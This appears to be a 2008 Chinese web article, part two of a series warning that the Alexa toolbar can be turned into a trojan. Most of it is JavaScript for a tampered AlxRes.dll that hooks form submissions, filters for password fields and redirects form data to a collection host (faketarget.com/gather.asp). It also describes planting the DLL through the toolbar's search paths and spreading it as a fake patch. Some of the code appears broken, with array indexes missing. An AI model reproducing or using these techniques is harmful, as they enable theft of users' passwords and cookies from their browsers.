小心谨防黑客将Alexa改造成木马二

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

获网页表单的内容

上面讲的东西有些类似于"跨站点脚本执行漏洞"。先来看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函数:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);

该函数在IE的当前浏览页面被加载完成时被调用,其中的 oWebBrowser2 参数可以当作当前IE正在浏览的页面的Windows对象。黑客可以添加如下代码:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {

... ...

try{

for(i=0;i<oWebBrowser2.document.forms.length;i++)

{

oWebBrowser2.document.forms.onsubmit=test;

}

}catch(e){}

return false;

}

这段代码的作用就是枚举当前页面中所有的表单对象,并为这些表单定义OnSubmit事件。接下来就是完成test函数了:

function test()

{

try{

window.alert("I can get the value!");

for(i=0;i<this.length;i++)

{

if(this.elements.name!="")

{

window.alert(this.elements.name+":"+this.elements.value);

//do some thing

}

}

}catch(e){}

return true;

}

不过用这种方法存在一点弊端:当表单是通过JavaScript语句"Submit()"提交时,不会产生"OnSubmit"事件,上面的代码也就无法纪录下表单的内容了。黑客还可以采用更高级的方法----改变表单提交地址的方法来解决这个问题:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {

... ...

try{

for(i=0;i<oWebBrowser2.document.forms.length;i++)

{

oWebBrowser2.document.forms.innerHTML=oWebBrowser2.document.forms.innerHTML+"<input name=OriginalAction type=hidden value='"+oWebBrowser2.document.forms.action+"'";

oWebBrowser2.document.forms.action="http://www.faketarget.com/gather.asp";

}

}catch(e){}

return false;

}

散布和植入木马

以上代码均是用PE资源软件修改AlxRes.dll文件实现的。所以,只要用新的AlxRes.dll文件将原来系统的AlxRes.dll替换掉。Alexa工具条在加载的时候会优先在"C:\Program Files\Internet Explorer"和"C:\Documents and Settings[username]\桌面"这两个路径下搜索AlxRes.dll,所以也可以把修改过的AlxRes.dll放到这两个路径下,这样就不用覆盖源文件了。至于怎么安装,这里黑客可以利用一些IE漏洞去Exploit。

安装了Alexa工具条的IE的"User-Agent"会加入"Alexa Toolbar(图7)"的标记,所以很容易区分目标的IE是否已经安装了Alexa工具条:

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)

也可以修改Alexa的安装文件,或者以Alexa补丁的名义来发布。

收集密码

黑客可以用FileSystemObject控件来将表单内容纪录到文件,或者直接作为参数发送到某个Web服务器,由Web服务器收集记录下来。为了在客户端过滤一些不包含密码的表单,黑客可以在AlxRes.dll的代码中对收集的表单数据进行一些检查:

function test()

{

var IsPwdForm=false;

var FormStr;

try{

for(i=0;i<this.length;i++)

{

if(this.elements.name!="")

{

if(this.elements.type=="password")

IsPwdForm=true;

FormStr=FormStr+this.elements.name+"="+this.elements.value+"&";

}

}

if(IsPwdForm)

{

//表单包含密码文本,进行收集

}

}catch(e){}

return true;

}

其他的应用

大多数的网上银行登录界面是由ActiveX控件实现的,无法截获表单数据,但是可以通过"oWebBrowser2"对象来操纵、修改浏览的页面,也有可能伪造一个网上银行的登陆界面.还可以用来收集用户浏览网页的纪录,也可以用来窃取用户COOKIE等,所以造成的危害是不可想像的.

怎么样?是不是很害怕!没有想到连Alexa也会有这样的安全隐患吧!

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航